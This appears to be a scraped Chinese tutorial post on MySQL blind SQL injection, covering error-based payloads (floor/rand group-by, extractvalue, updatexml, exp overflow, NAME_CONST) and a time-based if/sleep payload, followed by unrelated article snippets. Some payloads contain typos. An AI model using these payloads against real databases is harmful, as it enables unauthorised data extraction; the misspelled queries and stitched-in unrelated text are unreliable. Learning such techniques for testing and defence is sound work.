Background-2 盲注的讲解基础概述二

news/2024/11/17 7:30:31/

文章目录

  • 一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来
  • 二、基于时间的 SQL 盲注----------延时注入
  • 总结

一、基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

对此语句进行解释:count()进行计数,concat()进行sql语句的连接,floor函数向下取反,rand()函数生成所及数0-1之间,其中a是别名,造成错误的原因分组后数据计数重复造成的错误。

以上语句可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),
floor(rand(0)*2))

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union
select !1) group by concat(version(),floor(rand(0)*2)

select count(*) from (select 1 union select null union select !1)  group by concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

select min(@a:=1)  from information_schena.tables group by concat(password,@a:=(@a+1)%2)

double数值类型超出范围

select exp(~(select *from (select uses()))a)

exp是以e为底的对数函数

bigint超出范围~0是对0取反

select !(select *from (select user())x)-~0;

详细内容来自http://www.cnblogs.com/lcamry/articles/5509124.html

extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql 对 xml 数据进
行查询和修改的 xpath 函数,xpath 语法错误

extractvalue()函数

extractvalue(1,concat(0x7e,(select @@version),0x7e))

对extractvalue函数解释

extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

SQL报错注入的应用:若xpath_expr参数不符合xpath格式,就会报错。

~符号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

updatexml()函数

updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对 xml 数据进行
查询和修改的 xpath 函数,xpath 语法错误

在这里插入图片描述

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。

二、基于时间的 SQL 盲注----------延时注入

基于时间盲注if函数

逻辑判断函数if()

if(expr1,expr2,expr3) 如果expr1为真,则if函数执行expr2语句,否则if函数执行expr3语

if(ascill(substr(database(),1,1))>115,0,sleep(5))
//if判断语句如果条件为假则执行,sleep()语句

在这里插入图片描述
在这里插入图片描述

总结

逍遥游,齐物论,养生主,人间世。


http://www.ppmy.cn/news/687944.html

相关文章

利用IDM下载QQ群文件

利用IDM下载QQ群文件 学习网络安全经常是在QQ群里和朋友们沟通交流,群文件中很多有用的工具或资料内容,小文件的下载比较方便,要是有1G以上的大文件就有些麻烦,速度往往只有100k左右,等着着急,这里分享一个…

QQ小程序服务器出错是什么意思,QQ小程序为什么打不开_为什么QQ下拉小程序显示请求失败没有权限_3DM手游...

最新版QQ推出了和微信一样的小程序功能,这可是腾讯未来计划的重要的第一步,在未来腾讯的软件一定会全部可以由小程序下拉添加直接使用,甚至无需下载,那时候的网络肯定也不是现在能比的,腾讯爸爸牛笔! 只因为…

qq文件对方接收后一定会有提示吗_qq发文件为什么显示对方无法接受文件

qq发文件为什么显示对方无法接受文件以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! qq发文件为什么显示对方无法接受文件 最常见的一种是有的人还在编辑。然后忘记关掉要发送的文件了。而QQ又不会很显著的标明发…

QQ视频下载并转化为mp4

QQ对视频的地址进行了严格的保密,是无法通过读取网页源码来获取地址并下载的,只能通过QQ软件下载并转化。 找到嵌套在任意页面的QQ视频,正常播放之后,直接拖到结尾处,会出现添加到收藏的的按钮,点击之后会…

QQ群共享总是下载失败怎么解决?

下载总是出现: 解决办法: (1)文件少的情况 方法1:手机QQ发送 我的电脑 方法2:手机QQ转存到我的微云,从微云下载(如果你有微云会员,这种方法下载简直如虎添翼&#xff…

ATM模拟机-实战开发-前期准备

需求分析 项目名称:ATM模拟存取钱系统 目录 需求分析 项目名称:ATM模拟存取钱系统 项目目标功能分析: 用户功能: 提供功能 基本功能 管理员功能: 提供功能 基本功能 详细分析 用户功能 管理员功能 用户…

【夏虫语冰】Office操作技巧汇总

文章目录 1、Word技巧1.1 添加题注 2、Visio技巧2.1 快捷键2.2 格式刷 结语 1、Word技巧 1.1 添加题注 在 Word 中添加、删除标题或设置其格式: 可以为图表、公式或其他对象添加题注。 题注是带编号的标签,可将其添加到图表、表格、公式或其他对象。 …

北京划定63处禁止开发区域 总面积逾3千平方公里 (zz)

2012-10-15 08:14:12 来源: 中国经济网(北京) 本报北京10月14日电 备受关注的《北京市主体功能区规划》近日浮出水面。其中除了人们熟悉的首都功能核心区、城市功能拓展区 、城市发展新区、生态涵养发展区四类功能区域外,首次设立“禁止开发区域”,并明…